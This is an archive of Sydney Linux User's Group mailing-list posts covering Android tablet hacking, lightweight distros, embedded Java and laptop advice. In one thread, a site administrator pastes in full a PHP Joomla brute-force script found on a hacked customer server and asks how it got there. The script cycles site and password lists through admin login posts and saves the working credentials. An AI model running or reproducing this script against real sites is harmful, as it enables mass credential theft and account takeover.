On Thu, Oct 18, 2012 at 8:51 PM, Jeremy Visser jer...@visser.name wrote: Makes me wonder how much I’m killing the planet with the 700W power supply in my PC. You won't kill the planet, on account of it having an iron core. Don't worry. You'd need thousands of megawatts (at least) for your power-supply to damage the planet. You can read here to see where 700w fits into the orders of energy magnitude scale: - http://en.wikipedia.org/wiki/Orders_of_magnitude_%28energy%29 In any case just because it is rated at 700W doesn't mean that the computer is using 700W. btw, 700W is about 1hp, which is the power output of a fit human running at full speed. Or, using a metal demolition hammer to hit the ground as hard as you can. Can't do to much damage to the planet with a hammer like that - lol. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Tuning Systems and Energy Use (Sys Admin Roles and Responsibilities)
On Fri, Oct 19, 2012 at 1:57 PM, Michael Chesterton che...@chesterton.id.au wrote: Its primary goal is safety though, not efficiency. I want to add a linux angle, but can't think of one. The powers-that-be-here don't even want you to know what can actually be achieved with Linux. In Tokyo they have a crazy robot train (crazy for a sydney person) that runs into town and back. Anyway, you can sit where the driver would normally be. It's fully automated, and therefore, without doubt consumes less power than having a human being driving the train. I say this because an industrial pc having about 5w energy consumption. No metal is needed for the drivers compartment, or aircon, so there's definitely an energy saving there. The trains use a Linux RTOS like QNX. Which is very popular over there. The Japanese systems are very safe. They look at it the other way around in that when there are deaths, it's caused by human error. Not the machines. I tend to agree with their perspective. The issue is about Jobs. The Japanese don't mind having 10x Linux Engineers in preference to 10x Train Drivers. In Sydney, sadly, they seemingly would prefer to have 10x train drivers and less Linux Engineers than have the balance the other way around. The assertion is that Linux Engineers are dangerous and train-drivers and people that ride bicycles are not. We have to accept our backwards looking leaders. That's just how it is. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Customer site hacked with brut.php - what to do?
I have changed the password on the hosting account. It won't be possible to reload everything else because it is an ISP hosted machine. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Customer site hacked with brut.php - what to do?
I have a customer with a hacked website.
When I ftp'd to their web-server I found this wart (listed below - saved as
brut.php):
How did the hacker put it on my system ? What could it have comprimised ?
What
can I do to stop further consequences?
--- brut.php (don't run this) ---
body bgcolor=#808080
p align=centerbfont size=5 color=#FF#nbsp; GaStRo
-Dznbsp;nbsp; #/font/b/p
p align=centerbfont color=#FFJoomla Speed Brute
Force/font/b/p
form method=post action= enctype=multipart/form-data
p align=centerbfont color=#FFUsername/font/bfont
color=#FF:
input type=text name=usr value='admin' size=28 bEx: Admin ;
administrator/b/font/p
p align=centerfont color=#FFin , administrator , ..br
/fontbfont color=#FFsites list:/font/bfont
color=#FF
input type=file name=sites size=34/font/p
p align=centerfont color=#FFbr
/fontbfont color=#FFPass list/font/bfont color=#FF
input type=file name=w0rds size=35/font/p
p align=centerfont color=#FFbr
input type=submit name=x value=Start!
/font/p
/form
p align=centerfont color=#FFba href=http://Www.sec4ever.com
font color=#FFWww.sec4ever.com/font/a span
lang=ar-dz|/span
a href=http://Www.gastro-dz.net;font color=#FFWww.gastro-dz.net
/font/a
/b/font/p
p align=centerbfont color=#FFGreetZ To : OxyL - Damane - Th3
Killer Dz - th3 Viper - L3b r1'z - hacker-1420 - Abu Hamid Madridi - Al l
Dz Hackerz Team/font/b/p
p align=centernbsp;/p
?
@set_time_limit(0);
# joomla brute force
# Coded by Gastro
#Devloped by Gastro
if($_POST['x']){
echo hr;
$sites = explode(\n,file_get_contents($_FILES[sites][tmp_name])); //
Get Sites !
$w0rds = explode(\n,file_get_contents($_FILES[w0rds][tmp_name])); //
Get w0rdLiSt !
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack-check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class Function'z
function txt_cln($value){ return str_replace(array(\n,\r),,$value);
}
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this-post($site,$user,$pass))){
echo b# login successful : $user:$pass - $site/bBR;
$f = fopen(j0s_result.txt,a+); fwrite($f , $user:$pass - $site\n);
fclose($f);
flush();
}else{ echo # Failed : $user:$pass - $siteBR; flush();}
}
public function post($site,$user,$pass){ // Post - user pass
$token = $this-extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site./administrator/index.php);
curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'passwd='.$pass.'lang=en-GBoption=com_logintask=login'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -
function post
$source = $this-get_source($site);
preg_match_all(/type=\hidden\ name=\([0-9a-f]{32})\ value=\1\/si
,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for - function
extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site./administrator/index.php);
curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
?
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[SLUG] Copying mc (midnight commander text) to local clipboard
I have to ssh to a remote machine. Then I use Midnight Commander for editing. It's pretty much what I like but .. .. Anybody know how to copy text to the local clipboard. It over-rides the ssh clipboard. I want to cut + paste between ssh windows. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Linux in your keyboard
For fans of linux : http://hackaday.com/2012/08/14/turning-a-keyboard-into-a-computer-with-a-raspberry-pi/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Recycling/Disposing of old PC's - Send to kids in Africa for their schools
If anybody has PC's to throw out, let me know. I can come pick them up. It turns out my friend is looking for such things and will send them to Sierra-Leone in Africa to teach kids about computers. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Editing a text file (to preserve line-endings) - how to do it ?
Seemingly easy question, but it's not that simple. I have a text file which is from a legacy system. It's actually print data. ||| SALES - SUPPLIERX FOR MONTH |161-2-1-N |UPDATE SALES|H.G ||| SALES - SUPPLIERY MONTH REPORT |161-2-2-Y-S |PRT101.PRG |G.G Anyway, the document is full of mixed cr and cr+lf data. I need to preserve the 'delicate' mix and edit the file. Every time I save it in geany, it sanitises the line endings rendering the file useless. What should I use ? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Android PC's for hacking
I stumbled upon these: http://www.aliexpress.com/product-gs/575789804-MK802-Android-4-0-Mini-PC-Thumb-Drive-Android4-0-IPTV-Smart-HD-Player-wholesalers.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Samba question
Not that I could ever figure it out properly myself but I do know the values are stored in samba.conf in /etc. They have a creation flag setting that you can easily change. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] DWG (autocad) Viewer / Convert to SVG
A lot of people use DXF then go to SVG/PNG that way. On Fri, May 11, 2012 at 6:17 PM, meryl gnu...@aromagardens.com.au wrote: Hi all, Can anyone recommend a DWG (autocad) Viewer / Converter to SVG and or PNG A cursory search returns LX-Viewer and DraftSight. Which one do you use, or do you prefer another programme ? (A deb package would be ideal!) regards, Meryl -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] High System CPU usage and finding culprit
Are they dual core ? Do they have a sheetload of memory ? I found ubuntu got slower and slower till I got in newer hardware. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Bar Code scanners
Do you want to buy a Brother Scanner with a network interface? Some scanners have text reading. The mastersource for OCR is on Sourceforge. Can't remember the packages name. Maybe Ubuntu has an OCR package. I would be surprised if it didn't work. Modern scanners have PDF scan, like the advert one I want to sell for $55. - http://www.gumtree.com.au/s-ad/wolli-creek/printers/brother-mfc-6490cw-printer-fax-scanner-copier-ink-cartridges/1000928654 /advert. You can read PDF pages on a modern tablet computer thus saving any of the bother of OCR. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux and Apache limits on number of files in a directory
imho if you have so many files, it might be worth looking at a CMS where a record can be created for each item and rendered on demand. On 4/5/12, Jake Anderson ya...@vapourforge.com wrote: I wouldn't expect 1500 files in a dir to be slow (from the file system POV, the ftp server is doing who knows what). slow would probably start to kick in ~10-30k files (and in general that should still be fairly quick, opening the file would probably take on the order of half a second). Look at all the maildir based email systems out there, with 60k+ emails in a folder. On 04/05/2012 12:50 PM, Marghanita da Cruz wrote: Michael Fox wrote: Subsequent access yes, but the first access no. In addition, I still think having 1000 directories (each with so many files under each of those directories) is vastly better compared to 1 million files in a single directory. Good point, I just checked I am at 1406 files in the directory, so probably time to start spreading files across multiple directories. The ftp ls was slow and it probably also slows writing (uploading replacing files). At some time in the past, there was a suggestion about keeping files of particular types together in separate directories. Does anyone have any comments on this? Very easy choice for managing using the first example.. web proxy or not :) On Thu, Apr 5, 2012 at 9:40 AM, Marghanita da Cruz marghan...@ramin.com.au mailto:marghan...@ramin.com.au wrote: When I downloaded the players in a single directory on my computer after download the directory management took it toll on my application, following the same directory structure had a massive improvement on performance, a simple divide gave me the directory. It would be worth noting, that caching would make the situation slightly different on a webserver. Marghanita -- Marghanita da Cruz Ramin Communications (Sydney) Website: http://ramin.com.au Phone:(+612) 0414-869202 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/__mailinglists.html http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Android features merging into Linux Kernel
http://hackaday.com/2012/03/19/android-rolled-into-linux-kernel-3-3/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Fwd: [SLUG] Ubuntu instalation
Don't know, but could be more than the hard-disk is dead. What type of computer ? I have recently encountered the same problem with HP-Desktops and was told that the CMOS battery was dead. True to the advice, when I replaced the battery the systems no longer came up with a blank screen and booted properly. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Linux on 8 bit AVR
This guy says it is a little slow but it does work.. http://dmitry.co/index.php?p=./04.Thoughts/07.%20Linux%20on%208bit -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Ubuntu 12.04 (David Lyon)
ok, I think I will download the beta and try it. For those who haven't seen Ubuntu 12 with its ultra-cool Heads-Up-Display and tweaked User Interface check it out at: - http://www.omgubuntu.co.uk/2012/03/ubuntu-12-04-beta-1-released/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Ubuntu 12.04
- http://www.pcworld.com/businesscenter/article/251210/seven_new_features_in_ubuntu_1204_precise_pangolin_beta_1.html (I just downloaded their alpha. It's user interface is really schmick. Sadly it just wouldn't install to my machine properly). But what I did see was very, very nice. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: : [SLUG] Re: Raspberry Pi
On Tue, Mar 6, 2012 at 1:28 PM, Bruce Hodsdon bhods...@rhmeng.com wrote: Like Chris, I haven't ordered yet, Raspberry pi Arduino, what can we do? You wouldn't need an Arduino if you had a r.Pi. It has a GPIO area that you can hook in whatever you need. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Hacking Hackable Android Pads
I have a transistor serial port.. Yeah they are cool. If its SOC that means the serial port is actually inside the processor itself like an AVR. Just have to find out which pins they are ie RX/TX. First step for me is tracking down which pins they are. As for the kernel, it must be problematic for an outsider to do. Getting a bog standard debian to run is still quite a good achievement. Im just thinking of using these cheap pads and redoing the cases. The whole pad computer w Lcd comes to the same price as the lcd alone. Case was easy to open. I can't remember right now how. I think a small - driver at a strategic point on the case released a clip. I'll try find out what it was later. On 2/17/12, Christopher Barnes chris.p.bar...@gmail.com wrote: I don't really know too much about ARM based devices and dev boards but from what I've seen most of them have the same basic features - at least 1 serial port, Card reader, eeprom flashed with boot-loader, and the ARM processor in an SOC (System On Chip) configuration. If you are lucky the system board will have the serial port brought out to a header or Vias that you can attach the wires to. In my case there were vias but they weren't labelled. I found a web article a guy wrote who had a similar netbook and who had determined which vias were tx, rx, ground. If your unlucky in that the serial port HASN'T been brought out onto the system board you'll have to get the datasheet for the proc and identify the serial pins that way. A PC serial port (RS232) can run voltages anywhere from 10volts to 50volts from what I remember which is why we use the RS232 to lvTTL converter. LvTTL is low voltage (3.3volt) Transisitor to Transistor Logic. I've got some schematics to make such a converter - pretty basic, couple of caps, couple of transistors, couple of resistors. But I'd recommend buying one of the nokia sync cables because you can be fairly certain its going to work. The last one I bought was about $5 with free shipping. An ebay search for Nokia CA-42 should give you a few local options. As for butchering it, I've got a link somewhere. ill dig it up and send to you. Its really easy. One question I've got, can you see any obvious ways to open the tablet? A guy I work with bought a cheap one off ebay, couldn't workout how to open it without destroying it. And another question, what do you want to hack it to do? The only thing I don't like about these devices is you can't really just run the netinstall of debian, or you can't run a stock standard linux kernel because of device drivers and other board specific stuff. You need to use kernel compiled for the board which peeves me off because I still haven't found any up to date kernels, and the kernels lack things I'd really like - like the prerequisites for IPSec VPN, more supported filesystems, etc I was able to get my hands on the manufacturers source thanks to GPL obligations but I'm a total amature at taking someone elses device driver source and integrating it into a recent kernel source. Anyway, really interested to see how you go hacking it. One word of advice, if you get on to the console, take a full backup before you start changing anything. Just dump the raw data via tftp somewhere safe so you can dump it back on to the tab if you mess up. If the previous owner of my netbook had done that it probably would have saved me about 2 solid months of searching for compatible boot loaders and android images. Sent from my BlackBerry -Original Message- From: David Lyon david.lyon.preissh...@gmail.com Sender: slug-boun...@slug.org.au Date: Fri, 17 Feb 2012 17:42:05 To: SLUGslug@slug.org.au Subject: Re: [SLUG] Hacking Hackable Android Pads That's very interesting information. Perhaps because I half understand what you're talking about. I bought an ARM development board and it exposes the exact same serial console on boot. So many the Arm boards work like this? So I would be looking for two pins on the processor ? I'm up to speed with running a 5v serial line. But aren't those processors a bit lower? as in 2.7v or something? Thanks for the leads. Fantastic. On Fri, Feb 17, 2012 at 2:45 PM, Christopher Barnes chris.p.bar...@gmail.com wrote: I don't know about these tablet devices but I once had to hack a little android netbook because it had been bricked. If the tabs are anything like this netbook then its generally not too hard. This netbook was an ARM based system with about 128meg ram and 2gig onboard Nand flash for storage. In a nut shell I had to get a RS232 to lvTTL converter - FT232 chips do this or there's old nokia USB sync cables you can butcher. Had to find the serial port pin-out on the system board and solder the serial converter wires onto it. That gave me access to the netbooks serial console. I was then able to get access to the boot loader on the device (uBoot). From there I
[SLUG] Hacking Hackable Android Pads
There's lots of inexpensive Android Tablets. Junk? perhaps: - http://www.aliexpress.com/wholesale?SearchText=android+tabletcatId=0 Question is, how to hack these things? They have a linux bootloader, where's information on that generally ? I know you have to build a kernel. That means picking devices on the board. How's this all done ? Any good sources for Linux Kernels? Whats a good Pad to use as a base? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Hacking Hackable Android Pads
That's very interesting information. Perhaps because I half understand what you're talking about. I bought an ARM development board and it exposes the exact same serial console on boot. So many the Arm boards work like this? So I would be looking for two pins on the processor ? I'm up to speed with running a 5v serial line. But aren't those processors a bit lower? as in 2.7v or something? Thanks for the leads. Fantastic. On Fri, Feb 17, 2012 at 2:45 PM, Christopher Barnes chris.p.bar...@gmail.com wrote: I don't know about these tablet devices but I once had to hack a little android netbook because it had been bricked. If the tabs are anything like this netbook then its generally not too hard. This netbook was an ARM based system with about 128meg ram and 2gig onboard Nand flash for storage. In a nut shell I had to get a RS232 to lvTTL converter - FT232 chips do this or there's old nokia USB sync cables you can butcher. Had to find the serial port pin-out on the system board and solder the serial converter wires onto it. That gave me access to the netbooks serial console. I was then able to get access to the boot loader on the device (uBoot). From there I could manipulate boot settings, i could boot from SD card, boot from TFTP, copy a new kernel into the onboard flash, change the boot splash, etc. Finding good working android images was the hard part because the manufacturer didn't publish any android images so I had to rely on images people had dumped from their devices. And due to significant hardware differences they didn't really work well - no sound, or no mouse, or no wifi, etc. In the end I dumped Debian on it and used an android kernel to boot it. --Original Message-- From: David Lyon Sender: slug-boun...@slug.org.au To: SLUG Subject: [SLUG] Hacking Hackable Android Pads Sent: Feb 17, 2012 2:02 PM There's lots of inexpensive Android Tablets. Junk? perhaps: - http://www.aliexpress.com/wholesale?SearchText=android+tabletcatId=0 Question is, how to hack these things? They have a linux bootloader, where's information on that generally ? I know you have to build a kernel. That means picking devices on the board. How's this all done ? Any good sources for Linux Kernels? Whats a good Pad to use as a base? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html Sent from my BlackBerry -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Linux Internet Radio - how to ?
On my Nokia phone I located this channel: - http://www.paris-one.com/dance/ Works on my phone. Anybody know how to program that to work on an embedded linux machine ? In either C++ or Python? Thanks -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Android-based smartphones - any drawbacks ?
well, another viewpoint. I bought a new notebook and it came with windows 7. For years I've not felt so dissappointed with a computer. I just couldn't find anything fun to do with it. They've even removed 'debug'.. Shish-ka-bobs. Then After I got Ubuntu 11 on, the machine is my sense of lovely. g++ was built in. Whoah. On 2/5/12, Patrick Elliott-Brennan m...@elliott-brennan.id.au wrote: FOSS vs proprietary software is not a fetish. It's an ethical issue. As much as making decisions as to what sort of school (or even whether you send your children to school), or whether you will become a vegetarian or NOT be a vegetarian is an ethical issue. Some people can be accused of presenting their ethical positions in an almost religiously fundamentalist fashion and can be accused of being dramatic or dogmatic. Usually this is more a result of their personal presentation and inability to calmly or clearly discuss their position. In neither case is this a reflection of the validity of their views, more the response they receive and the reputation that results. It's even possible some people do 'fetishise' the subject of FOSS/Properietary software. I think this is the case with things like Apple products. However, this does not make the subject any less an ethical issue. If you are serious in phrasing it as a 'fetish' then I'd suggest looking up the difference. That said, I don't know if you are serious and I could be seriously oblivious to a subtle, dry humorous comment. In which case: My big. Regards, Patrick I do not think FOSS vx proprietary software is a moral issue, it is a fettish. Now if others care about your fettish then kewl, and if they are pragmatic in any form words of disapproval are discourteous. Sadly, people these days don't care ... ouch! James -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Building Java for embedded Linux
Thanks Steve, Very helpful. I will try some of the downloads from: http://www.oracle.com/technetwork/java/embedded/resources/se-embeddocs/index.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Building Java for embedded Linux
I'm wondering how to get Java running on an embedded linux ARM board. Anybody know how to do it? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Building Java for embedded Linux
I found something called openjdk so I will have a try with that. On 12/22/11, Jason Ball ja...@ball.net wrote: Not sure.. But I have an old Java iButton (1-wire) with embedded VM if you want it ;) Personally I would look at some of the native code generators available rather than running an interpreter. J. On Thu, Dec 22, 2011 at 10:19 AM, David Lyon david.lyon.preissh...@gmail.com wrote: I'm wondering how to get Java running on an embedded linux ARM board. Anybody know how to do it? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- --ja...@ball.net vk2f...@google.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Android for work
I will give pclinux a go next time, I think. Well, by lack of answers it would seem Android may just be a toy. Given nobody is putting their hand up to say 'yeah, its a good work tool'. Will run a phone though.. No debate about that. On 12/15/11, Heracles herac...@iprimus.com.au wrote: On 15/12/11 13:02, David Lyon wrote: On Thu, Dec 15, 2011 at 9:45 AM, James Linderj...@tigger.ws wrote: When an elderly and distinguished scientist say something is not possible he is nearly always wrongsmile I know I could buy more memory or get multicores.. involves money and time.. The memory footprint of ubuntu 11 is obviously too much for the hardware I have and I'm not claiming anything else. I found Puppy to be kewl, but a bit off the beaten track. I used it for small embedded stuff, and much as I'm not a fan of the whole ubuntu paradgsm it does work and there is lots of expertise if you need it. Still if puppy works for you then use it :-) Embedded is what I'm working on.. so the speed advantage is what I need. PCLinuxOS is fast, uses a light X11 interface and works well in older hardware and just about set up my wifi for me. I have the 64bit version and it flies. Heracles -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Android for work
Well I noticed that it has gftp, some text-editors, maybe geany, a command line. It can run python and compile java. Subversion it can also run I think. So I'd say its got the potential not to be a toy. On 12/16/11, elliott-brennan elliottbren...@gmail.com wrote: Is anyone on the list using Android for a significant amount of work? I've been considering the Asus Transformer for the ability to have a proper keyboard and touch pad and then use it as a tablet when that's all I want. However, I see it as a bigger version of my phone - with a bigger keyboard. Connecting to another device or text-based work (writing, blogging etc) - sure. Past that, I'm not clear either what level of 'work' one is able to achieve. You could connect to your home machine and then get it to do the hard work??? Correct me if I'm wrong :)) but unless you're using some cloud-based server to do the hard work (eg. using Piknic for your photo editing) I would imagine Android wouldn't be as useful or capable as having a proper 'nix install. Given I only have Android on my phone, I really can't say I've enough experience on which to base a globally useful reply :)) Regards, Patrick -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Android for work
I have been using Ubuntu 10.10 for work - just fine. At home I tried Ubuntu 11 and one my one or two year old hardware it just has unacceptable performance ie 10 - 20 seconds to respond to menu clicks etc. So, there is Android 3.2 from: http://www.android-x86.org/ Any good for tech work? ie light development, modding websites, ftp, python, databases etc. I notice it has dosbox, geany and most of the other tools are ported. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Android for work
maybe 2 years is really 5 or 6.. Actually, I just jumped over to learn Puppy Linux. Pretty hardcore but everything is quite good. Ubuntu has nice graphical effects but I have work to do and willing to lose them in an effort to get some stuff done.. still curious about Android.. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Android for work
On Thu, Dec 15, 2011 at 9:45 AM, James Linder j...@tigger.ws wrote: When an elderly and distinguished scientist say something is not possible he is nearly always wrong smile I know I could buy more memory or get multicores.. involves money and time.. The memory footprint of ubuntu 11 is obviously too much for the hardware I have and I'm not claiming anything else. I found Puppy to be kewl, but a bit off the beaten track. I used it for small embedded stuff, and much as I'm not a fan of the whole ubuntu paradgsm it does work and there is lots of expertise if you need it. Still if puppy works for you then use it :-) Embedded is what I'm working on.. so the speed advantage is what I need. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Lightweight distribution
Depends what you are looking to do. Have you tried Puppy Linux? DSL - Damned Small Linux I agree wireless is harder on lighter distro's. Maybe that is the area that you need to Master. Then load that as a custom script. On 11/30/11, Edwin Humphries edw...@netsensecomputers.com.au wrote: G'day all, I'm looking for the right distro to install. I have a couple of laptops that I don't care if they break, so I can take out to work-sites where we're doing installations in sometimes less than hospitable circumstances. 1. Because they're old laptops, I need a fairly lightweight distribution - perhaps based on xfce or Enlightenment or similar. 2. There for things like network configuration troubleshooting, so support for media playback is of no consequence. 3. Because so many networks are wireless or hybrid with wireless, simple wireless support is essential. It seems to me from the distros I've tried, you can have condition 1 met, or condition 3. But not both - most of the lightweight distros seem to assume that one is rpepared to spend half-an-hour on each wireless network setting it up - and whilst I'm not a newbie, I don't really get off on always doing things the hard way. Does anyone have any suggestions? -- NetSense Computers logoRegards, Edwin Humphries Mobile: 0419 233 051 NetSense Computers (Ironstone Technology Pty Ltd) 79 Barney St (P. O. Box 423), Kiama, NSW, 2533 Phone: +61 (0)2 4233 2285 Fax: +61 (0)2 4233 2781 Web: http://www.netsensecomputers.com.au -- This email is intended for the named addressee/s only and may contain confidential or privileged information. If you are not a named addressee please delete it and notify the sender. -- /At every moment he beholdeth a wondrous world, a new creation, and goeth from astonishment to astonishment, and is lost in awe at the works of the Lord of Oneness./ Baha'u'llah, The Seven Valleys ./.. humans are interesting. With all the wonders there are in the Universe, they invented boredom./ Terry Pratchet, Hogfather /The most beautiful thing we can experience is the mysterious. It is the source of all true art and all science. He to whom this emotion is a stranger, who can no longer pause to wonder and stand rapt in awe, is as good as dead: his eyes are closed./ Albert Einstein /Stuff your eyes with wonder ... live as if you'd drop dead in ten seconds. See the world. It's more fantastic than any dream made or paid for in factories./ Ray Bradbury -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] advice for new laptop...
Simran, I understand... you are after true beauty.. maybe you need a fignition system: - http://hackaday.com/2011/12/04/a-keyboard-for-your-fignition/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] advice for new laptop...
umm... yeah... but doesn't run linux afaik On Mon, Dec 5, 2011 at 11:07 AM, simran sim...@dn.gs wrote: haha... indeed... would be good... although i think i'd still prefer my zx spectrum :) On Mon, Dec 5, 2011 at 11:04 AM, David Lyon david.lyon.preissh...@gmail.com wrote: Simran, I understand... you are after true beauty.. maybe you need a fignition system: - http://hackaday.com/2011/12/04/a-keyboard-for-your-fignition/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] advice for new laptop...
HP-Envy with 8 cores are pretty nice for Ubuntu.. The hard-drives inside have a design flaw which causes them to overheat and die. SSD would fix that. I repaired one for a friend, just booted ubuntu from usb. Great! On Sat, Dec 3, 2011 at 10:44 AM, simran sim...@dn.gs wrote: hi all, wanted to ask you for some advice... i need a new laptop, and here's my needs: must have's: * SSD hard drive (or at least a quick HD) * at least 8 Gig's RAM (12-16 Gig's would be ideal) * two finger scroll on the touchpad (like macbook pro's etc have as a default) * solid robust reliable hardy hardware would really love: * beautiful 15 screen (good hi-res one with a nice looking display) * nice form for the laptop in general (aka, just looks beautiful :) ah... i've been swayed by few things apple Is there anything you can recommend? I want to stay away from apple because: * I use linux (ubuntu) for all development anyway (in a VM) * Mostly i'm just using the browser for just about everything else (email (gmail), documents (google docs), etc) * Hate the way they are chasing samsung trying to block galaxy tabs...:) would really appreciate the recommendation of people in this group, if anyone knows linux, it's you guys :) simran. -- SLUG - Sydney Linux User's Group Mailing List - 